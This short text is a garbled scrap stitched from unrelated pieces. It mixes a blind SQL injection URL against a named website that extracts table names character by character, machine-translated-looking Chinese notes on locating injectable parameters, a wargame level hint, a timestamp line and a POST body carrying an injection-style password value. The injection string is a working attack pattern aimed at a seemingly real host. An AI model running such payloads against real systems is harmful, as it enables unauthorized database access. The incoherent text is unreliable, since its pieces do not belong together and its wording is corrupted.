http://tiechemo.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97首要将存在有参数传递的页面彻底翻开，并将url仿制下来：http://192.168.80.129/shownews.asp?id=15。 Last Visit Date : 2012-7-16 19:22:27The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters.POST: username=admin&password=,'return null;

}首要注入需求交互,也便是需求输入,所以要找个接纳参数的点,这个时分直接去看控制器无疑是很好的挑选,由于这儿是功用点,需求用户来交互,当然不扫除有其他的当地,ex。